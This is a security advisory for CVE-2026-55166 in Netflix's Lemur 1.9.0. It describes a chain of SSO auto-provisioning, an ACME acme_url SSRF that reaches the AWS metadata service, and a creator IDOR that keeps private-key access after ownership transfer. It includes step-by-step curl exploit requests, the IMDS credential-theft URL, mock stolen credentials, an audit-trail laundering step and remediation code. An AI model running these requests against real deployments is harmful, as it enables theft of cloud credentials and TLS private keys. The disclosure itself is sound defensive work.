PT-2026-52657 · Pypi · Lemur

Publicado

2026-06-25

·

Atualizado

2026-06-25

·

CVE-2026-55166

CVSS v3.1

9.9

Crítica

VetorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme url SSRF and creator-equality IDOR

Vulnerability Summary

FieldValue
TitleLemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme url SSRF and creator-equality IDOR
Componentlemur/lemur/plugins/lemur acme/acme handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWECWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack PrerequisiteA valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versionsgithub.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/ about .py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.
Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf

Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.
Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.
Sink 2 — ACME acme url SSRF (lemur/lemur/plugins/lemur acme/acme handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme url", current app.config.get("ACME DIRECTORY URL")) and calls ClientV2.get directory(directory url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.
Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.
Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur pki acme ssrf idor.cast. The lab harness is in lemur pki acme ssrf idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.
Prerequisites: Docker, curl, jq, openssl.
Run
bash
cd lemur pki acme ssrf idor/
EXPLOIT FAST=1 ./exploit code.sh
The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

bash
curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login 
 -H 'Content-Type: application/json' 
 -d '{"email":"attacker@evil.example","roles":["operator"]}'
Response (evidence/03 sso provision response.json):
json
{
 "token": "eyJhbGciOiJIUzI1NiIs...",
 "user": {
  "active": true,
  "auto provisioned": true,
  "email": "attacker@evil.example",
  "id": 1,
  "roles": ["operator"]
 }
}
active=True and auto provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme url pointed at IMDS (sink 2)

bash
curl -sS -X POST http://127.0.0.1:18000/api/1/authorities 
 -H "Authorization: Bearer $ATTACKER JWT" 
 -H 'Content-Type: application/json' 
 -d '{"name":"poc-acme","plugin":{"plugin options":[{"name":"acme url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'
Response (evidence/04 ssrf authority response.json):
json
{
 "acme url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
 "creator id": 1,
 "id": 1,
 "name": "poc-acme",
 "ssrf error": null,
 "ssrf response body": "{
 "Code": "Success",
 "LastUpdated": "2026-05-27T20:00:00Z",
 "Type": "AWS-HMAC",
 "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
 "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
 "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
 "Expiration": "2026-05-27T22:00:00Z"
}",
 "ssrf response status": 200
}
ssrf response status: 200 and an AWS-HMAC payload in ssrf response body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.

Step 3 — Exfiltrate STS credentials

The IMDS payload is evidence/05 exfil sts credentials.json:
json
{
 "Code": "Success",
 "Type": "AWS-HMAC",
 "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
 "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
 "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
 "Expiration": "2026-05-27T22:00:00Z"
}
In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.

Step 4 — Issue a certificate as the attacker (capture the private key)

bash
curl -sS -X POST http://127.0.0.1:18000/api/1/certificates 
 -H "Authorization: Bearer $ATTACKER JWT" 
 -d '{"authority id":1,"common name":"pki.netflix.example"}'
bash
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key 
 -H "Authorization: Bearer $ATTACKER JWT"
Response (evidence/06 key fetched pre transfer.json):
json
{"creator bypass":true,
 "key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}
The PoC harness annotates the response with creator bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.

Step 5 — Transfer ownership to victim admin

bash
curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 
 -H "Authorization: Bearer $ATTACKER JWT" 
 -d '{"owner":"victim-admin@netflix.example"}'
owner is now victim-admin@netflix.example. creator id is unchanged at 1 (the attacker). This is the audit-trail laundering step.

Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)

bash
curl -sS -o /dev/null -w 'HTTP %{http code}
' 
 http://127.0.0.1:18000/api/1/certificates/1/key 
 -H "Authorization: Bearer $ATTACKER JWT"
Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.

Step 7 — Verdict

VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision  -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS   -- acme url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS ACCESS KEY ID + Token returned in response body
4. PKI key persists   -- creator can read private key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis

The SSRF sink is the load-bearing piece. acme handlers.py:161-167 builds the directory url from user-supplied options, and :188 and :201 hand it to ClientV2.get directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.
The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current user != cert.user: branch should now be if g.current user != cert.user or cert.owner changed after creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator id.
The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.

Attack Scenario

mermaid
sequenceDiagram
  participant Attacker
  participant Lemur as Lemur worker
  participant IMDS as 169.254.169.254
  participant CertDB as Lemur cert DB
,[object Object],
,[object Object],
,[object Object],
,[object Object],
Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment

The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.
The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.
The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.

Remediation

Four changes, in priority order:
  1. Allowlist acme url. In acme handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
python
ALLOWED ACME HOSTS = current app.config.get(
  "ACME DIRECTORY HOST ALLOWLIST",
  {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED ACME HOSTS:
  raise ValueError("acme url host not allowlisted")
  1. Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current user != cert.user: branch with an unconditional CertificatePermission(role service.get by name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.
  2. Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.
  3. Audit-log the creator on every key fetch, separately from g.current user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator id, current owner, g.current user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context

External References

Correção

IDOR

SSRF

Improper Authorization

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-639CWE-918CWE-285

Identificadores relacionados

CVE-2026-55166
GHSA-V2WP-FRMC-5Q3V

Produtos afetados

Lemur